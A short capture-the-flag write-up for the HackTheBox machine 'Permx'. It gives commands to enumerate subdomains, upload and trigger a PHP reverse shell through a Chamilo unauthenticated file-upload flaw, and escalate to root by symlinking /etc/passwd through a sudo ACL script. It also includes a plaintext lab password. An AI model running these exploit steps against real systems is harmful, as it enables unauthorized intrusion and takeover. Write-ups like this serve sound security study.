

credentials

Permx

my ip:10.10.14.8

target ip:10.10.11.23

login: mtz password: 03F6lY3uXAP2bkW8

report

Permx
my ip:10.10.14.8
target ip:10.10.11.23

we found a website with no vulnerability. We can try to find subdomain:

```
gobuster vhost -u http://permx.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain | grep 200
```

<http://lms.permx.htb> exist and it has a login page. We can see that its built with chamilo, which is apparently vulnerable to unauthenticated rce.

First we need to create a php reverse shell and store it in a file. Than we can upload that file to the target:

```
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
```

We setup a listening on our host:

```
nc -lnvp 1234
```

And lastly we request our uploaded php rev shell:

```
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
```

Now we are in ! Using linpeas, we quickly see that there is a hardcoded password in a config file. We can try this password with mtz.

```
login: mtz password: 03F6lY3uXAP2bkW8
```

We have the user flag.

Launching sudo -l give us the following:

Matching Defaults entries for mtz on permx:

```
env_reset, mail_badpass,  
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
```

User mtz may run the following commands on permx:

```
(ALL : ALL) NOPASSWD: /opt/acl.sh
```

acl.sh is a script that change the access right of a file in /home/mtz.

We can exploit this script by creating a symlink to etc/passwd:

```
ln -s /etc/passwd
```

And giving us writing access:

```
sudo /opt/acl.sh mtz rw /home/mtz/passwd
```

Now we just have to vim the file and edit our user like this to give us root perm:

```
mtz:x:0:0:root:/root:/bin/bash
```

su mtz to actualize right access.